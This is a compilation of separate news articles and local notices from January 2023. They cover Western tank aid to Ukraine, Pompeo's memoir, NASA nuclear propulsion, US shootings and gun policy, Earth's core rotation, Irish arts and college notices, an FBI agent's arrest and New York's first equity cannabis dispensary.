Ukrainian leaders have been urgently requesting tanks, but Germany had resisted mounting pressure either to supply its own tanks or clear the way for other countries, such as Poland, to send the German-made tanks from their own stocks. Kremlin spokesman Dmitry Peskov said the deployment of Western tanks would trigger unambiguously negative" consequences.

Defense leaders from the countries that have Leopard 2 tanks met with the Germans during the Friday conference at Ramstein Air Base in an effort to hammer out an agreement.

On Sunday, Berlin indicated it wouldnt stand in the way if other countries wanted to send the Leopard 2 tanks to Kyiv. Germany needs to agree for the tanks to be given to Ukraine, which is not a member of NATO.

U.S. and German officials have given mixed signals about whether the U.S. and German decisions are linked, and whether Berlin was hesitant to send its tanks unless the U.S. sent Abrams.

Polish Defense Minister Mariusz Baszczak said Tuesday that Poland has officially requested permission from Germany to transfer its Leopard 2 battle tanks to Ukraine.

German officials confirmed to the dpa news agency they had received the application and said it would be assessed with due urgency." German Foreign Minister Annalena Baerbock said Sunday that Berlin wouldnt seek to stop Poland from providing the high-tech armor to Kyiv.

German officials declined to comment on the reports of a tank deal. The news weekly Der Spiegel reported Tuesday, without citing a source, that Germany will provide Ukraine with at least one company of Leopard 2 tanks from its own armys stock. Scholz is due to deliver an address to parliament Wednesday and field questions from lawmakers, many of whom have been pressing the government to join allies in providing the tanks to Ukraine.

Lawmakers in Congress have also been pushing the U.S. to beef up its aid to Ukraine.

Senate Republican leader Mitch McConnell said Tuesday its time, past time" for the Biden administration and allies to send more military aid to Ukraine, and that the U.S. must provide more tanks and weapons to help Ukraine win this war."

Its time, past time, for the Biden administration and our allies to get serious about helping Ukraine finish the job and retake their country."

The likely plans to send the Abrams were first reported by The Wall Street Journal.

This story has been published from a wire agency feed without modifications to the text.
Former US secretary of state Mike Pompeo wrote in a book published Tuesday that India and Pakistan came close to nuclear war in 2019 and that US intervention prevented escalation.

"I do not think the world properly knows just how close the India-Pakistan rivalry came to spilling over into a nuclear conflagration in February 2019," the likely future presidential contender wrote in "Never Give an Inch," his memoir of his time as Donald Trump's top diplomat and earlier CIA chief.

India in February 2019 broke precedent by launching airstrikes inside Pakistani territory after blaming a militant group there for a suicide bombing that killed 41 Indian paramilitary soldiers in the flashpoint Kashmir region. Pakistan shot down an Indian warplane, capturing the pilot.

Pompeo, who was in Hanoi for a summit between Trump and North Korean leader Kim Jong Un, said he was woken up with an urgent call from a senior Indian official.

"He believed the Pakistanis had begun to prepare their nuclear weapons for a strike. India, he informed me, was contemplating its own escalation," Pompeo wrote.

"I asked him to do nothing and give us a minute to sort things out," Pompeo said.

Pompeo said that US diplomats convinced both India and Pakistan that neither was preparing to go nuclear.

"No other nation could have done what we did that night to avoid a horrible outcome," Pompeo wrote.

Pompeo, who wrote that Pakistan "probably enabled" the Kashmir attack, said he spoke to "the actual leader of Pakistan," then army chief General Qamar Javed Bajwa, in an allusion to the weakness of civilian governments.

Pompeo at the time publicly defended India's right to act. In his book, Pompeo spoke highly of India and, unlike officials in New Delhi, made no secret of his desire to ally with the South Asian democracy "to counteract Chinese aggression."

India, followed by Pakistan, tested nuclear bombs in 1998, a watershed moment. Then president Bill Clinton famously would say that Kashmir, divided between the two nations, was "the most dangerous place in the world." 'I'm still trying to kill you' Pompeo writes extensively in the book of his diplomacy with Kim Jong Un, which included preparing three meetings between the young totalitarian leader and Trump.

He recalled a chilling first conversation as he flew into Pyongyang in March 2018 on a clandestine trip as CIA director.

"'I didn't think you'd show up. I know you've been trying to kill me,'" Pompeo quotes Kim as telling him.

"I decided to lean in with a little humor of my own: 'Mr. Chairman, I'm still trying kill you.'"

But Pompeo described a budding understanding with Kim as the Trump administration offered incentives to lower tension.

Pointing to Kim's smoking habit, Pompeo wrote that he told Kim he would take him to "the nicest beach in Miami and smoke the best Cubanos in the world. He told me, 'I already have a great relationship with the Castros.' Of course, he did."

As for their substantive conversation, Pompeo said Kim spoke candidly on concerns about China, usually viewed as North Korea's main ally.

Told that China believes North Korea wants US forces out of South Korea, "Kim laughed and pounded on the table in sheer joy, exclaiming that the Chinese were liars."

Kim "said that he needed the Americans in South Korea to protect him from the CCP, and that the CCP needs the Americans out so they can treat the peninsula like Tibet and Xinjiang," Pompeo wrote, referring to the Chinese Communist Party.

Pompeo became known for his hawkish stance on China, controversially accusing Beijing of spreading the "Wuhan virus."

He said that Trump told him with an epithet that Chinese President Xi Jinping "hates you" and asked Pompeo to "shut the hell up for a while" as the United States needed health care equipment from China.

Pompeo has not ruled out running against Trump for the 2024 Republican presidential nomination, although early polls show little support for Pompeo.

This story has been published from a wire agency feed without modifications to the text. Only the headline has been changed.
In a first, the United States has announced that it will test a spacecraft engine powered by nuclear fission by 2027. The programme is part of a long-term NASA effort to demonstrate more efficient methods of propelling astronauts to Mars in the future, the space agencys chief said Tuesday.

NASA administrator Bill Nelson said during a conference in National Harbor, Maryland, NASA will partner with the U.S. military's research and development agency, DARPA, to develop a nuclear thermal propulsion engine and launch it to space "as soon as 2027."

A release by NASA said, using a nuclear thermal rocket allows for faster transit time, reducing risk for astronauts.

Other benefits to space travel include increased science payload capacity and higher power for instrumentation and communication. In a nuclear thermal rocket engine, a fission reactor is used to generate extremely high temperatures. The engine transfers the heat produced by the reactor to a liquid propellant, which is expanded and exhausted through a nozzle to propel the spacecraft. Nuclear thermal rockets can be three or more times more efficient than conventional chemical propulsion, it further added

NASA has a long history of collaborating with DARPA on projects that enable our respective missions, such as in-space servicing," said NASA Deputy Administrator Pam Melroy. Expanding our partnership to nuclear propulsion will help drive forward NASA's goal to send humans to Mars."

The last nuclear thermal rocket engine tests conducted by the United States occurred more than 50 years ago under NASAs Nuclear Engine for Rocket Vehicle Application and Rover projects.
Ukrainian President Volodymyr Zelenskiy said personnel changes were being carried out at senior and lower levels, a move that follows the most high-profile graft allegations since Russia's invasion nearly a year ago.

Ukraine has a long history of corruption and shaky governance.

On Sunday, anti-corruption police said they had detained the deputy infrastructure minister on suspicion of receiving a $400,000 kickback over the import of generators last September, an allegation the minister denies.

Separately, a newspaper investigation accused the Defence Ministry of overpaying suppliers for soldiers' food. The supplier has said it made a technical mistake and no money had changed hands.

"There are already personnel decisions - some today, some tomorrow - regarding officials at various levels in ministries and other central government structures, as well as in the regions and in law enforcement," Zelenskiy said in his nightly video address on Monday.

His plans include toughening oversight on travelling abroad for official assignments. Several Ukrainian media outlets have reported that cabinet ministers and senior officials could be sacked imminently.

The corruption scandal could dampen Western enthusiasm for his government just as European countries bicker over sending German-made Leopard 2 tanks to Ukraine.

One of the most widely used Western tanks, Ukraine says it needs them to break through Russian lines and recapture territory this year.

Ukraine and Russia are both believed to be planning spring offensives to break the deadlock in what has become a war of attrition in eastern and southern Ukraine as the first anniversary of the Russian invasion nears.

Germany, which must approve re-exports of the Leopard, has held back, wary of moves that could cause Moscow to escalate. But under strong pressure from some of its partners, Berlin has said it is willing to act quickly if there is a consensus among allies.

Polish Prime Minister Mateusz Morawiecki, whose country borders Ukraine, said on Monday that Warsaw would seek permission to send the tanks to Kyiv and was trying to get others on board.

Germany is not blocking the re-export of Leopard tanks to Ukraine, the European Union's top diplomat said on Monday.

U.S. State Department spokesperson Ned Price at a press briefing on Monday dodged repeated questions about Germany's wariness over the supply of tanks and whether the United States would support other countries supplying Leopards without Germany's approval.

"We may be hearing more from our German allies in the coming hours, in the coming days," he told reporters.

The Kremlin said the splits in Europe over whether to provide tanks to Kyiv showed there was increasing "nervousness" within the NATO military alliance.

'ACTING AGAINST THE WEST'

Following Ukrainian advances in the second half of 2022, front lines have been largely frozen in place for two months, despite heavy losses on both sides.

On Monday, the new general in charge of Russia's military operations in Ukraine used his first public comments to warn that modern Russia had never seen such "intensity of military hostilities", forcing it to carry out offensive operations to stabilise the situation.

"Our country and its armed forces are today acting against the entire collective West," Chief of the General Staff Valery Gerasimov told the news website Argumenty i Fakty in remarks published late on Monday.

Military reforms, announced mid-January, could be adjusted to respond to threats to Russia's security, which include Sweden and Finland's aspirations to join NATO and "the use of Ukraine as a tool for waging a hybrid war against our country," he said.

Russian forces are shelling and attacking Ukrainian positions on the front lines around the clock, Zelenskiy said in his address.

Ukraine says Western tanks would give its ground troops the mobility, protection and firepower to break through Russian defensive lines and resume their advance.

American lawmakers have pressed their government to export M1 Abrams battle tanks to Ukraine, saying even a symbolic number would help push European allies to do the same.

Britain has said it will supply 14 Challenger 2 tanks. French President Emmanuel Macron said he did not rule out the possibility of sending Leclerc tanks.

Moscow sought to apply its own pressure.

"All countries which take part, directly or indirectly, in pumping weapons into Ukraine and in raising its technological level bear responsibility" for continuing the conflict, Kremlin spokesman Dmitry Peskov said.

Since its invasion on Feb. 24, 2022, which it has cast as defending itself from an aggressive West, Russia has taken control of parts of Ukraine it says it will never return.

Ukraine has said that restoring its territorial integrity is not open for negotiation.

This story has been published from a wire agency feed without modifications to the text.
At least four people shot to death in an agricultural area of Northern California on Monday, said authorities and local lawmakers, adding that a man suspected in the killings is currently in custody.

Josh Becker, Representative of California state said that the killings took place in separate shootings on the outskirts of Half Moon Bay, a city about 30 miles south of San Francisco, according to the news agency The Associated Press.

In yet another shooting incident, two students were also killed at a Des Moines school that was designed to keep at-risk youth away from trouble. A man was also seriously injured during the targeted shooting incident in Des Moines.

Des Moines Mayor Frank Cownie, in an official statement, said that three people were arrested shortly after the shooting at the educational program called Starts Right Here, as per AP reports.

Cownie identified the injured adult as William Holmes  who goes by the stage name Will Keeps  and said the victims and those arrested were all teenagers.

That brings a total of five families of teenagers affected by youth gun violence in a matter of minutes on a Monday afternoon, right here in our capital city. This is a growing and alarming phenomenon in our country, and one weve seen too often in the past and again today in the city of Des Moines," Cownie said.

On Monday, two people died and three were critically injured in a home invasion shooting in a Chicago apartment, police said citing authorities. With this, the death toll has reached to eight in the recent shooting incidents.

Mentioning shootings in schools, AP reported that it was the sixth incident at a school in the US this year in which someone was injured or killed, but the first with fatalities, according to Education Week, which tracks school shootings.

Last year, there were 51 school involving injuries or deaths, and there have been 150 since 2018. In the worst school shooting last year, 21 people were killed in an elementary school in Uvalde, Texas.

(With AP inputs)
Gun violence in the US shows no sign of abating. Three fresh incidents of gun-fire were reported this week in which a total of nine residents of the country got killed. These occurred barely a couple of days after a gunman opened fire at revellers at a party in Los Angeles, taking 11 lives. This frequency speaks of how alarming the problem has become. US records show nearly 650 mass shootings and about 44,000 lives lost to gunshot wounds over the span of 2022 alone. The data is staggering even if such killings have long been endemic. No less eye-popping, at least to distant observers like us, is Americas estimate of about 400 million firearms in peoples handsmore than one per person. This is the direct result of an easy-weapons policy. Sadly, even frequent fatalities have proven insufficient to make the country budge on something that marks it apart and reinforces a caricature of it being the home of trigger-happy cowboys rather than the brave.

Almost uniquely in the world, gun ownership is seen by rightists in the US as a matter of individual freedom, a right that gun-toting conservatives refuse to give up on the argument of its presumed role in self-defence. They not only want weapons kept at home, but insist on carrying them around, with some states given to hair-splitting over whether their carriage should be concealed or not. Its people who kill, not guns, they argue, and so law-abiding carriers must not be deprived of their rights for the rogue actions of a few who go on shooting sprees. The flaw in their contention is that while it takes human agency to pull a trigger, easy access to one could make a homicidal impulse just as deadly as actual premeditation. The harder doing anything drastic is, the more likely an application of mind will intervene. Moreover, even matters of liberty must yield to imperatives of collective safety. As an example, India cracked down on acid attacks by tightening acid availability; its utility as a hygiene agent was overshadowed by the horror of its weaponization, no matter how fringe. America must apply similar logic to its gun crisis. It should tighten gun controls so sharply that it contributes to raising instead of lowering US life expectancy.

Unfortunately, firearm curbs remain subject to policy battles between safety-focused Democrats and status-quoist Republicans, with the unhappy outcome that a rifle barred in one state can be bought off the shelf in another. Hopes of a consensus on guns have only grown more elusive as the polity has gotten polarized. For the sake of its own global appeal as an exemplar of liberal democracy, however, the US should look for a way out. It is striking that a country tracing its origin to the 1776 common sense that nobody has a divine right to rule, a republican proposition that thankfully has worldwide buy-in today, should let anybody wield the power of life and death quite so easily over a fellow citizen. That technology has made guns more lethal over the years only makes the country look worse from afar to onlookers who expect better sense to prevail on the limits of liberty. Personal freedom has been a vital aspect of the US success story, no doubt, and it also accounts for a chunk of its soft power, the influence it holds over others by the force of charm. But a casual disposition to the force of arms riddles its appeal with holes every time it has a shootout. It could afford this once. But not in the 21st century.
Analysing seismic waves driven by earthquakes, a group of scientists believes that Earths core has reversed its rotation. While the impact wouldnt be much on the life on Earth, but it surely can influence the length of the day and might have a little effect on Earths magnetic field, the study published in Nature Geoscience on Monday said.

Xiaodong Song, a seismologist at Peking University in Beijing, and a co-author of the new study, said, In theory it has been going on for a long time but we only have observations over a few decades." She said that Earths core was rotating faster than the surface but by 2019, it stopped. Now, it is gradually moving in the opposite direction."

The spinning of the core happens because of the magnetic field, generating in the outer core. If the scientist figure out how the inner core rotates, it could help them understand how the different layers of Earth interact with each other.

Between 2009 and 2020, the rotation stopped and may have reversed the direction. Researchers have also believed that the inner core rotates like a swing.

"We believe the inner core rotates, relative to the Earth's surface, back and forth, like a swing," they told AFP.

Some researchers from Chinas Peking University told AFP, One cycle of the swing is about seven decades, meaning it changes direction roughly every 35 years. It previously changed direction in the early 1970s, and predicted the next about-face would be in the mid-2040s."

The researchers said this rotation roughly lines up with changes in what is called the "length of day" -- small variations in the exact time it takes Earth to rotate on its axis.

(With agency inputs)

Topics
Katie Deighton, The Wall Street Journal

Some businesses are figuring out how to harness the buzzy technology to improve online chat functions, though executives are wary of AIs tendency to get things wrong
Pictured left to right: Kayla Vines AEMT, CSCC paramedic student; Dr. Ty Stone, CSCC President; Amber Frady, Bradley County Paramedic. Frady was one of the first students to receive the Danny Lawson Scholarship; she graduated from CSCC with a Paramedic AAS Degree in August 2022.
CFD and Erlanger are teaming up to help prevent burn injuries in our community.
A woman has confined herself to a room inside a Daytona Beach, Florida, hospital after shooting her terminally ill husband, police say and are asking people to stay away from the Advent Health Hospital in Daytona Beach, Florida.
They've been making waves in the music scene across Ireland and this February, Pilgrim Street are set to entertain Longford audiences with an unmissable gig for music lovers.

Strongly influenced by Bluegrass, Old Time Country and Folk Music, fused with traditional folk songs from this side of the Atlantic, Pilgrim St bring a warm and lively atmosphere to their music and have garnered a glowing word of mouth endorsement from venues around the country with their powerhouse live performances.

Drawing from fellow luminaries such as Hank Williams, Woody Guthrie, The Pogues and Bruce Springsteens Seeger Sessions outfit, Pilgrim St bring their infectious melodies, harmonies and songs to Backstage Theatre on Saturday, February 4.

With a setlist made up of covers and their own original songs they have graced the stages of Electric Picnic and Vicar street plus toured all over the country.

Formed in 2014, the band released two EPs before the release of their debut album Ash Into Gold Dust in 2021 during the COVID Pandemic, it is only now that they can tour the album and also play some new originals, written in lockdown.

Pilgrim St are a collective of musicians that include Peadar Farrelly on Guitar and Vocals, Eugene Donegan on Banjo and Vocals, Eoin McDonnell on Mandolin and Vocals, Francis McGinn on Bass, Mark Lynch on Dobro, Brendan Kelly on Accordion and Vocals and and Cathal McQuaid on the Fiddle.

Tickets to see Pilgrim Street on Saturday, February 4 in Backstage are 25 and available on 043 3347888 or backstage.ie
An amazing Lights Festival is taking place in Longfords Connolly Barracks on the weekend of February 24-26.

Following on from the success of last years arts event - The Light Brigade, Artistic Director, Tom Meskell in partnership with County Longford Arts Services is developing a new and ambitious Festival - Longford Lights.

Work on the project began with a community arts seminar in Backstage Theatre on Saturday, January 14, where participating groups and artists met to discuss the project.

The project has been funded under the Arts Council of Irelands Project Award Grant and by Longford County Council.

Longford Lights will be the biggest outdoor art illumination ever produced in Longford.

The project is situated in the former Connolly Barracks site in the Camlin quarter of Longford town.

Shane Crossan, Assistant Arts Officer Longford County Council, explained This project seeks to deepen and broaden the scope of community based light / lantern art making within Longford communities and local artists so that the festival can grow in support each year. 

Tom Meskell, the Artistic Director brought together a team of artists from all over Ireland and England including the Liverpool Lantern Co, Macnas of Galway and Black Powder Monkeys to work with ten community and school groups in the Longford town area.

These groups included the Ethnic Minority Hub, Longford ICA, St Josephs National School, St Michael's Boy's NS, Templemichael College, Meanscoil Mhuire, St Christophers Services, Peter Keenan Branch O.N.E., Longford Mens Shed and Killoe Men's Shed.

Caption: Attendance at the Longford Lights Festival community arts seminar in Backstage Theatre

A visual artist from Mayo, Tom Meskell has a very strong connection with Longford going back to 2016 when he staged his first large scale Lantern exhibition - Lights in the Darkness in Longford.

Following on from the success of that, he was again invited to create The Light Brigade by Longford Arts office as part of their Faoin Speir programme in 2022.

Both of these projects were informed by Tom's singular vision and personal engagement with local community groups. Longford Lights will involve Tom leading a team of artists to develop a lantern festival with separate and distinctive art installations.

Caption: Artistic Director, Tom Meskell

Following the seminar, artists commenced working with their assigned community groups. This will involve developing a concept for an art piece in the former Barracks campus. Each group will collaborate with the artist to progress ideas and to help in the fabrication/ completion of the artwork or elements of the piece.

The separate artworks will form a large installation event to create an immersive experience for attendees using sound, light, space and pyrotechnics.

The Festival is free and open to the General public, for updates check @countylongfordartsservices on Facebook.

MAIN PHOTO CAPTION: At the Longford Lights Festival community arts seminar in Backstage Theatre were front row l to r; Phil Atkinson, Artistic Director Tom Meskell and Jo Pocock. Back: Michelle Dufaur, Artist Caroline Conway, Tommy Casby, Victoria McCormack, Shane Crossan (Assistant Arts Officer Longford County Council) and Fergus Kennedy (Arts Officer Longford County Council).
With the normal closing date for applications through the CAO for third level places fast approaching on February 1, Ms Ann Marie Lacey, Director of Cavan Institute hasd advised students that they can now apply to Cavan Institute directly through the CAO portal.

While many students at this time are applying for 3 and 4 year degree courses through the CAO, it is now a very simple process to also apply to Cavan Institute through the CAO website, said Ms Lacey.

Applicants simply select Further Education and Training and search for Cavan Institute. This means that students can complete their CAO application and then complete their application for a Post Leaving Certificate (PLC) course through the same CAO portal website. Students will still be able to apply directly to Cavan Institute up to the end of August, however, applicants are advised to apply now as some courses fill up very quickly, stated Ms Lacey.

There will be many Leaving Certificate students still undecided at this time and for these students, a gap year studying on a PLC course can be an excellent choice, according to Ms Lacey.

The Director of Cavan Institute went on to say that many Cavan Institute graduates take up higher education places in what is known as Round 0 CAO offers which come next July.

Last year, students who attended Cavan Institute had great success, having been offered courses in many Level 8 degrees, including PE Teaching, Science, Nursing, Business, Engineering, Art and Sport and Recreation. These offers were made on the basis of their results in Cavan Institute.

CAPTION: Science remains a very popular choice among students applying to Cavan Institute Picture: Eoin Holland - www.eoinholland.com

Also, a number of students took up places in the UK in areas such as Physiotherapy, Occupational Therapy and PE Teaching. Again, these places were offered to students following their results at Cavan Institute.

The announcement, last summer, of large reductions in all course fees at Cavan Institute has led to an increase in enrolment, according to Ms Lacy.

All courses have been reduced to a maximum of 200 in response to the rising cost of living and an effort by Cavan and Monaghan Training Board (CMETB) to make courses at Cavan Institute more accessible for all.

All course materials, exam fees and uniforms are now purchased by CMETB and each student will only have to pay a maximum of 200, no matter which course they decide to pursue.

According to Ms Lacey, this could mean savings of up to 1,300 on some courses such as Beauty Therapy, Hairdressing and the Accounting Technician course.

Many students are struggling financially at this time and the high cost of Third Level fees and accommodation has contributed to an increase in applications for courses at Cavan Institute, stated Ms Lacey, who went on to say that further reductions apply to applicants who are in receipt of a benefit (e.g. Medical Card/Social Welfare Payment) where the fee will be just 150.

Students can expect to save up to 1,300 on some courses. For example; a learner enrolling on the Level 5 Hairdressing course will now pay 200, where previously, course fees were approximately 1,000. Nursing Studies which previously cost 420 will now cost 200.

CAPTION: Motor Mechanics students at Cavan Institute can go directly into employment or apprenticeships Picture: Eoin Holland - www.eoinholland.com

Wide range of Opportunities at Cavan Institute

PLC courses offered at Cavan Institute are full-time programmes open to young people who have completed their Leaving Certificate and to adults / mature Learners who wish to return to education. The majority of the courses offered at Cavan Institute are either one or two-year programmes and lead to an award on the National Framework of Qualifications (NFQ) at Level 5 or Level 6.

PLC courses develop technical and practical skills for an industry recognised qualification which can lead directly to employment. They also offer an alternative route into higher education and can give Students the opportunity to try out a subject of interest at a college near home before investing in a 3 or 4 year degree programme.

There is a broad range of course areas to choose from  including Pre-University courses such as Teaching, Law and Accounting, QQI accredited courses in Nursing, Pharmacy, Computing, Psychology, Engineering, Hairdressing, Beauty Therapy, Childcare, Healthcare, Science, Sport, Music and Tourism.

New Courses

This year, Cavan Institute extended its range of courses with the commencement of 3D Design and Graphics, Fashion Design and Styling, Pre-University Mechatronic and Electronic Engineering, Pre-University Primary and Post Primary Teaching, Security Operations and Administration (Supervisory) (Year 2) and Speech and Language Therapy Assistant

A number of pre-Apprenticeship courses are also being introduced for September 2023, including Pre-Apprenticeship courses in Carpentry and Joinery, Building Construction, Hairdressing and Commis Chef. Learners from these courses can then progress to existing apprenticeships. CMETB Training Services currently host two apprenticeship courses in Cavan Institute (Commis Chef and Hairdressing) and it is expected that this offering will expand in the future.

CAPTION: Progression opportunities to Physiotherapy are available at Cavan Institute

Benefits of Further Education and Training

PLC courses can provide a foundation for students in specific sectors before they commit to completing an undergraduate degree course.

The Institutes Director said that recent research has shown that students who complete a PLC course have a greater chance of completing a degree if they move into higher education.

As one of the largest Further Education and Training Colleges Ireland, Cavan Institute offers over 70 PLC courses as well as Apprenticeship and Traineeship courses. These courses are all offered under the umbrella of Cavan and Monaghan Education and Training Board, (CMETB) which provides a wide variety of FET courses throughout the two counties.

Grants / Finance

Many students who are not sure of committing to a four year degree programme use Cavan Institute as a taster before committing to a four year degree programme which can be expensive.

SUSI grants are also available to Cavan Institute students who qualify for this grant. There are also a number of other financial assistance programmes available such as VTOS and BTEA. Further details of financial assistance can be found at www.studentfinance.ie

Applications still being accepted

If you are interested in making an application for courses starting this September2023, you can apply directly to Cavan Institute at www.cavaninstitute.ie or apply through the CAO website at www.cao.ie
Others, Crime, National & World News, Press Releases

By Jacob Alvear Published: January 24 2023

a former FBI special agent in charge of the New York Field Office, has been arrested on charges relating to his receipt of $225,000.

Charles F. McGonigal, 54, a former FBI Special Agent in Charge of the New York Field Office, has been arrested on charges relating to his receipt of $225,000 in cash from an individual who had business interests in Europe and who had been an employee of a foreign intelligence service, while McGonigal was serving as Special Agent in Charge of FBI counterintelligence efforts in the New York Office. McGonigal retired from the FBI in September of 2018.

According to the nine-count indictment, unsealed today, from August 2017 and continuing through and beyond his retirement from the FBI in September 2018, McGonigal concealed from the FBI the nature of his relationship with a former foreign security officer and businessperson who had ongoing business interests in foreign countries and before foreign governments. Specifically, McGonigal requested and received at least $225,000 in cash from the individual and traveled abroad with the individual and met with foreign nationals. The individual later served as an FBI source in a criminal investigation involving foreign political lobbying over which McGonigal had official supervisory responsibility. McGonigal is accused of engaging in other conduct in his official capacity as an FBI Special Agent in Charge that he believed would benefit the businessperson financially.

McGonigals initial appearance in the District of Columbia has not yet been scheduled.

McGonigal is charged with concealing material facts and with six counts of making false statements, each of which carries a maximum penalty of five years of imprisonment. McGonigal is also charged with two counts of falsification of records and documents, each of which carries a maximum penalty of 20 years of imprisonment.

Assistant Attorney General Matthew G. Olsen of the Justice Departments National Security Division, U.S. Attorney Matthew M. Graves for the District of Columbia, Assistant Director in Charge Donald Alway of the FBI Los Angeles Field Office and Assistant Director in Charge David Sundberg of the FBI Washington Field Office made the announcement.

The FBI Los Angeles Field Office is investigating the case, with significant assistance provided by the FBI Washington Field Office.

Assistant U.S. Attorneys Elizabeth Aloi and Michael Friedman for the District of Columbia and Acting Deputy Chief Evan Turgeon of the National Security Divisions Counterintelligence and Export Control Section are prosecuting the case, with assistance from the Justice Departments Office of International Affairs.
Food, Wine, & Dining, Family & Parenting, Local News, Hot Spots & Night Life

By Catherine Eve Published: January 23 2023

Every day is Halloween at Haunted House of Hamburgers in Farmingdale, LI's only Halloween-themed restaurant.

It may be the middle of winter, but if you drive past 330 Fulton Street in Farmingdale, you just might think it was closer to October 31. A faux graveyard, eerie music, and photo-op-ready benches adorned with Frankenstein and his bride, mark Haunted House of Hamburgers, a year-round theme restaurant destination for lovers of the spooky and macabre.

Family-friendly fun, food, and frights

As its name suggests, Haunted House of Hamburgers looks like a haunted house inside and out. Its decorated floor to ceiling, corner to corner, with all-things creepy, from ghosts and goblins, to sinister pumpkins; dark moody lighting adds to the ghoulish ambiance. But its not too spooky, as this is a family-friendly place where kids can get 3-D glasses, have a birthday party, indulge in candy-topped ice cream sundaes, and pick up a Halloween sweet on the way out.

Haunted House of Hamburgers serves brunch, lunch, and dinner with plenty of options including Pitchfork Pancakes, Tombstone Tacos, Vampire Bat Wings, and, of course, a large selection of burgers. With unnerving names like RIPizza burger and Tarantula Burger, the burgers ingredients may seem suspect, but rest assured they are made from prime beef  although the vegan Impossible Burger is also on the menu, along with other vegetarian-friendly choices like salads and flatbread pizzas. End your meal with Chained Up Cheesecake and, naturally, Death by Chocolate.

The 21-and-over crowd can enjoy beer, wine, and variety of crypt keeper drinks such as Grave Digger (Ice, Kahlua, coffee vodka, and heavy cream), Jack OLantern (Ice, Tito's vodka, orange juice, and orange garnish), and many others. Guests can watch a horror flick while sitting at the bar.

Haunted House of Hamburgers is open Monday - Thursday 11:00 am - 9:00 p.m; Friday and Saturday 11:00 am - 10:00 p.m.; and Sunday 11:00 am - 9:00 p.m. Its located at 330 Fulton Street in Farmingdale. Visit the Haunted House of Hamburgers website or call (516) 777-1031 for more information.
Governor Kathy Hochul today announced the first Conditional Adult-Use Retail Dispensary license in New York State owned by an entrepreneur previously criminalized by cannabis prohibition and supported by the New York Social Equity Cannabis Investment Fund, will open at 144 Bleecker Street in Manhattan on Tuesday, January 24 at 10:00 AM. This store opening helps advance New York's goals of equity in cannabis licensing, which prioritizes providing licenses to justice-involved individuals, who are people with a cannabis conviction or a close relative of someone with one.

"This dispensary is the latest example of our efforts to build the most equitable and inclusive cannabis industry in the nation," Governor Hochul said. "As we continue to work toward righting wrongs of the past, I look forward to new dispensaries - owned by those most impacted by the over policing of cannabis prohibition - opening soon."

The dispensary, called Smacked LLC, will be owned and operated by Roland Conner with a soft opening as a "Pop-up" through February 20. As with some other initial dispensaries to be supported by the Fund, this will provide licensees the opportunity to open on a short-term basis to fast-track sales and start generating capital for their businesses, after which they will close for final construction and then re-open on a long-term basis.

The Pop-up program is designed to give the operator initial training opportunities before opening full-time, and will benefit all businesses involved in the cannabis supply chain, including farmers who have cannabis ready for distribution, processors who are making cannabis into other types of products, distributors, and retail operators, as well as consumers who are seeking access to safer products they can trust.

Prior to receiving this license, Roland Conner owned and operated property management businesses in New York City for fifteen years. He currently manages a transitional housing facility providing shelter for two dozen men in The Bronx. Mr. Conner is opening Smacked LLC with his son and wife. In applying for his license, Mr. Conner received support from the Bronx Cannabis Hub, which was founded by the Bronx Defenders and the Bronx Community Foundation to support individuals applying for the first round of CAURD licenses.

Mr. Roland Conner said, "I am so excited to become a part of history as the first individual to open a legal cannabis dispensary in New York City. Given my experience with cannabis, I never could have imagined that I would be opening a store like this. I'm grateful for the opportunity to open a business with my son and wife at my side and build generational wealth, working together, right here in New York. But this is not just about me and my family. This is about everyone who was harmed by the draconian drug laws of the past. New York's commitment to righting those wrongs through the law is inspiring. I am proof of that commitment because I'm standing here today."

Representative Dan Goldman said, "I commend Governor Hochul and state officials for establishing the New York Social Equity Cannabis Investment Fund to prioritize opportunities for people impacted by the criminal justice system. Today's announcement shows that New Yorkers are committed to creating jobs and opportunities for communities that have been disproportionately impacted by inequitable enforcement of punitive cannabis laws."

State Senator Liz Krueger said, "After years of work from advocates, it is very gratifying to see the adult retail cannabis market finally begin to take shape, and to do so with a focus on equity and repairing the damage of the failed war on drugs. New Yorkers now have access to a safe, sustainable, and growing cannabis market rooted in a commitment to social equity. I wish Mr. Conner luck in his business and look forward to seeing many more openings in the near future."

Assembly Majority Leader Crystal Peoples-Stokes said, "When we passed the Marijuana Regulation and Taxation Act, we set the state on a course to build a new cannabis industry centered on equity that works to undo the harms of the past. I am proud to see New York State continuing to follow through on that commitment with the opening of this Conditional Adult-Use Retail Dispensary owned by a social and economic equity licensee and supported by the New York Cannabis Social Equity Investment Fund."

Assemblymember Deborah J. Glick said, "I am so pleased that the district I represent will be home to the first dispensary owned and operated by a Conditional Adult-Use Retail Dispensary licensee in New York State. I applaud the Office of Cannabis Management and Mr. Roland Conner for their thoughtful engagement with the community, and for their leadership as we begin to implement the goals set by the Marijuana Regulation and Taxation Act. This is an important step toward ensuring equity for those most impacted by the previous cannabis prohibition."

Reuben McDaniel III, President and CEO of the DASNY said, "This innovative business design demonstrates how the public and private sectors can work together to create opportunities for intergenerational wealth in Black and Brown communities and to address deeply embedded historical injustices. This is an important milestone in our work to seed opportunities throughout all of New York State, with many more to follow. I'm grateful to the Fund for bringing us to this day, as well as to our colleagues at DASNY and CBRE who have provided invaluable support and expertise."

Tremaine Wright, Chair of the Cannabis Control Board said, "Dispensaries with ownership like this one exemplify our commitment to building a nation-leading model for establishing an equitable cannabis industry that works to offset the harms caused by the disproportionate enforcement of cannabis prohibition. We couldn't have reached today without the steadfast support of Governor Hochul and the Legislature and I'm excited to see the industry continuing to advance and grow in line with the goals of our state's cannabis law."

Chris Alexander, Executive Director of the Office of Cannabis Management said, "When Governor Hochul launched the Seeding Opportunity Initiative last year, New York made a commitment to start this industry on the right foot with family farmers and those most impacted by cannabis prohibition leading the way. We are living up to that commitment and opening the legal market with safer products that consumers can trust."

William Thompson, Principal of the Fund's General Partner Social Equity Impact Ventures said, "This Public-Private-Partnership (PPP) is a vast undertaking, and represents a new and unique structure, something that never been done before in the country. That is what leaders at the state level intended and that is what is being accomplished. The Fund has taken the lead in evaluating thousands of locations; negotiating, managing and entering into all leases; overseeing the design-build of the space; and implementing effective training and operations programs to aid individual store operators."

Desmon Lewis, Co-Founder of the Bronx Community Foundation said, "Roland Conner is exactly the kind of business owner and community leader that we were trying to support when we set up The Bronx Cannabis Hub with The Bronx Defenders last year. New York's legalization law promises to bring jobs and opportunity to the people and communities that suffered during decades of criminalization. We know those promises won't become reality without investment and support. It is fitting that community members from all over the city and the state of New York are coming to the Bronx - a community that was impacted like no other by cannabis prohibition - to get the help they need to enter this new Cannabis industry."

